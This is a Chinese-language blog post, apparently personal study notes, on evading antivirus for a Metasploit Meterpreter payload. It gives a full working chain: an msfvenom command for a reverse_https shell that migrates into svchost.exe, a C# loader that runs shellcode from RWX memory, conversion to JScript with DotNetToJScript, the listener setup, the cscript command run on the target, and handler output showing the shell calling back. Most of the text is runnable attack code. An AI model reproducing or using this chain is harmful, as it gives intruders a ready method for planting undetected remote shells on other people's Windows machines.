免杀 MSF Windows Payload 的方法与实践(小白视角)


MSF 是当下最流行的渗透测试平台,在进行后渗透阶段往往需要我们绕过杀软等隐蔽操作,在看完余弦猥琐流打发之后,自个手动实践,然后写一个详细的演练操作,做笔记存档。

0x00 制作payload

使用 kali 里的 msfvenom 生成一个x86的 Meterpreter Payload 命令如下:

root@kali:~# msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.99 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe

大部分参数都不用过多解释了,常用 MSF 的人都知道。需要说明的是,我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp,而最后两个参数(PrependMigrate 和 PrependMigrateProc)是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。

生成结果 cat https.csharp 如图所示,

payload

0x01 创建 c# 项目

我们需要创建一个 C# 项目,我使用的是 Visual Studio 2017。新建一个空白的 C# 的控制台应用(.NET Framework)工程,.Net Framework 版本选择 2.0(保证兼容性)。

将下列代码粘贴覆盖到 Program.cs 中:

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
           RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload = {
            //Paste your Payload here
        };
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

然后将在 kali 生成的 payload 中的十六进制数数组粘贴到代码中注释为“//Paste your Payload here”的下面。

保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”并保存,如图:

vs2017

增加 Release 版的 x86 编译对象,如图:

release

然后生成出 MSFWrapper.exe :

生成exe

0x02 将生成的 exe 文件转换成 js 文件

DotNetToJScript源码下载

开源工具DotNetToJScript详细编译教程

转换命令:

F:\WEB渗透工具>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe

0x03 通过命令执行 js 文件使其弹回 Meterpreter shell

在 kali 里执行命令进行监听:

root@kali:~# msfconsole 
msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 192.168.1.99
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run

在目标机器执行如下命令:

C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js

kali 反弹回 meterpreter :

[*] Started HTTPS reverse handler on https://192.168.1.99:443
[*] https://192.168.1.99:443 handling request from 192.168.1.84; (UUID: flnzcixx) Staging x86 payload (180825 bytes) ...

这里一定要注意,因为我们生成的 Payload 跟 exe 都是 32 位的,所以这里也要用 32 的 cscript.exe 去执行。切记!

0x04 END

未完待续 ing……


文章作者: yaron
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yaron !
  目录